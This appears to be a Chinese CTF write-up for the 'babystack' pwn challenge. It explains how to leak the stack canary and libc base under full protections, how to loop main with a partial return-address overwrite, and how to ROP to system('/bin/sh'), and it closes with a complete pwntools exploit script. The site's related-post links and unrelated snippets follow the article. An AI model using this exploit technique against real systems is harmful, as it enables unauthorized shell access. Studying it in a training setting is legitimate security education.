一道栈溢出babystack
我太天真了,师傅说让我做做这个平台的题,我就注册了个号,信心满满的打开了change,找到了pwn,一看第一道题是babystack,我想着,嗯,十分钟搞定他!直到我下载了题目,题目给了libc,然后我检查了一下elf的保护,我发现我错了。。。

这尼玛保护全开是什么鬼...
来IDA看一下伪代码是要让干什么。

箭头指向两个read函数和一个printf函数,两个read函数都可以进行溢出,printf函数是第一个溢出的回显。那么我们首先想到我就是,第一次溢出的时候,我们用来leak canary。如果是其他题目的话,这道题就算结束了,直接rop常规操作就走下来了,但是这道题不一样,这道题还开了pie,函数地址会随机化,我们不能直接利用gadget。接下来就是想办法泄露基地址了。
在这里需要补充个知识点。
程序在执行的过程中,其实简略版的启动是这么调用的:start-->__libc_start_main-->main。main函数其实是由__libc_start_main函数调用的,所以main函数的返回地址其实是调用main函数的下面的一行地址。如果我们可以知道__libc_start_main和main函数的返回地址差多少,我们再减去__libc_start_main函数的偏移,就能得到libc的基地址,就可以用libc中的gadget了。
我们一步一步来,第一次leak canary就不演示了。直接看第第二次溢出的时候的栈空间布局。

rbp下面是返回地址,pwndbg很明显的给我们标出来是__libc_start_main + 240的位置。那我们想办法leak这个地址就行。不过很明显,运行一次main函数是不够的,必须重复运行main函数,那么这个时候有一个技巧就是覆盖main函数返回地址的末字节,这样程序就有机会能再次运行,为什么说是有机会呢?我们来看一下__libc_start_main调用main函数周围的汇编。

图片中箭头所指的地方就是调用main函数的指令,可以看见不是我们想象的call main,是call rax,假如我们直接把末字节覆盖成2e,其实是不能再次运行程序的,因为你不能保证rax是调用main函数的值。这里如果耐心一点读读汇编就可以确定覆盖成什么可以直接再次调用main函数,我为了不动脑子,就乱覆盖,直到找到一个可以再次执行的,其实也用不了多长时间,我大概测试了十几个数,就确定了一个。
不过有一点需要注意,就是再次往回调的时候,我们不能乱覆盖rbp,应为leave ret会进行恢复栈的操作,所以一旦rbp被破坏了,那么就回不去了。
那么我们就只有在第一次程序运行的时候的第一次溢出同时泄露canary和rbp。
接下来程序第二次执行,第一次溢出就leak mian函数的返回地址,这个时候其实通过计算就可以得到libc的基地址了,第二次溢出到one_gadget。就可以拿到shell了。
其实感觉已经说的很清晰了,题目是内部平台下载的,就不说是哪里的题目了(咳咳,自己发现),反正是感觉学习到很多东西,也算是一种新姿势。最后贴一下exp:
from pwn import * context(log_level='DEBUG')
p = process('./babystack')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so',checksec=False)
p.sendafter('name: ','U'*0x88 + '\xFF')
p.recvuntil('\xFF')
canary = u64('\x00' + p.recv(7))
stack = u64(p.recv(6).ljust(8,'\x00'))
payload = 'U'*0x88 + p64(canary) + p64(stack) + '\x8d'
print 'canary-->' + hex(canary)
print 'stack-->' + hex(stack)
#gdb.attach(p)
p.send(payload) payload = 'U'*0x97 + '\xFF'
p.sendafter('name: ',payload)
p.recvuntil('\xFF')
addr = u64(p.recv(6).ljust(8,'\x00')) print '-------------->' + hex(addr)
libc_base = addr - 240 - libc.sym['__libc_start_main']
libc.address = libc_base
print 'libc main start ------>' + hex(addr-240)
og = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = libc_base + og[2] system_addr = libc_base + 0x045390
binsh_addr = libc_base + 0x18cd57
pop_rdi = libc_base + 0x0021102 payload = 'U'*0x88 + p64(canary) + p64(stack) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.send(payload)
p.interactive()
一道栈溢出babystack的更多相关文章
- WinRAR存在严重的安全漏洞影响5亿用户
WinRAR可能是目前全球用户最多的解压缩软件,近日安全团队发现并公布了WinRAR中存在长达19年的严重安全漏洞,这意味着有可能超过5亿用户面临安全风险. 该漏洞存在于所有WinRAR版本中包含的U ...
- SCTF 2014 pwn题目分析
因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很 ...
- 安恒pwn魔法
魔法这是比较基础的一道栈溢出: 首先看下开启的防护机制 Checksec magicc发现只有nx防护 我们载入ida发现溢出点 Buf实际溢出空间为0x16,构造exp import time fr ...
- 【pwnable.kr】bof
pwnable从入门到放弃,第三题. Download : http://pwnable.kr/bin/bofDownload : http://pwnable.kr/bin/bof.c Runnin ...
- 栈溢出之rop到syscall
当程序开启了nx,但程序有syscall调用的时候.这时栈溢出的利用就可以通过rop来执行syscall的59号调用execve('/bin/sh',null,null),这是这次alictf一道pw ...
- 一道Apple公司(中国)的面试题目
Apple在中国(上海)有公司业务,但是感觉主要是做测试工作的部门,主要是保障Apple的产品质量QE.面试的时候,面试官出了一道题目,我貌似曾今开过类似的题目,但是由于当场发挥不佳没有答出来.题目大 ...
- 利用gcc自带的功能-fstack-protector检测栈溢出及其实现
最近又遇到了一个崩溃,栈回溯非常怪异. /lib/i386-linux-gnu/libc.so.(gsignal+0x4f) [0xb2b751df] /lib/i386-linux-gnu/libc ...
- 【Android】一道Android OpenGL笔试题
一道Android OpenGL笔试题 SkySeraph May. 5th 2016 Email:skyseraph00@163.com 更多精彩请直接访问SkySeraph个人站点:www.sky ...
- 一道常被人轻视的前端JS面试题
前言 年前刚刚离职了,分享下我曾经出过的一道面试题,此题是我出的一套前端面试题中的最后一题,用来考核面试者的JavaScript的综合能力,很可惜到目前为止的将近两年中,几乎没有人能够完全答对,并非多 ...
随机推荐
- [loj6736]最小连通块
定义$f(S)$表示点集$S$的最小连通块 做法1 通过对所有节点判定,可以在$n$次询问中求出具体的$f(S)$ 对于$x\ne y$,显然$(x,y)\in E$当且仅当$f(\{x,y\})=\ ...
- [hdu7042]二叉树
考虑最后这棵二叉树的结构,不难发现被移动的点在原树或新树中构成的都是若干棵完整的子树 (若$x$被移动,则$x$在原树或新树的子树中所有点都会被移动) 先在原树中考虑此问题,对于每一棵由被移动的点所构 ...
- [atARC107F]Sum of Abs
价值即等价于给每一个点系数$p_{i}=\pm 1$,使得$\forall (x,y)\in E,p_{x}=p_{y}$的最大的$\sum_{i=1}^{n}p_{i}b_{i}$ 如果没有删除(当 ...
- SpringMVC注解搭配环境
1.准备文件 2.工程中的pom <?xml version="1.0" encoding="UTF-8"?> <project xmlns= ...
- tomcat的log日志乱码解决方案
Intellij idea Tomcat输出log中文乱码 配置tomcat在VM options添加-Dfile.encoding=UTF8 -Dsun.jnu.encoding=UTF8 重启后控 ...
- Codeforces 1332G - No Monotone Triples(数据结构综合)
Codeforces 题目传送门 & 洛谷题目传送门 首先打表即可发现对于任意长度 \(\ge 5\) 的序列总存在一个 Monotone triple,证明不会实在不行直接 \(5^5\) ...
- Linux之vi和vim编辑器
目录 1. vi和vim简介 2. vi 和 vim 的三种常见模式 2.1 正常模式 2.2 插入模式 2.3 命令行模式 3. 三种模式间的切换 4. 常用快捷键案例 5. 常用命令 1. vi和 ...
- mongodb数据库简单类
<?php/*** Mongodb类** examples: * $mongo = new HMongodb("127.0.0.1:11223"); * $mongo-> ...
- 8种Vue中数据更新了但页面没有更新的情况
目录 1.Vue 无法检测实例被创建时不存在于 data 中的 属性 2. Vue 无法检测'对象属性'的添加或移除 3.Vue 不能检测利用数组索引直接修改一个数组项 4.Vue 不能监测直接修改数 ...
- 【系统硬件】英伟达安培卡 vs 老推理卡硬件参数对比
欢迎关注我的公众号 [极智视界],回复001获取Google编程规范 O_o >_< o_O O_o ~_~ o_O 本文分享一下英伟达安培卡 vs 老推理 ...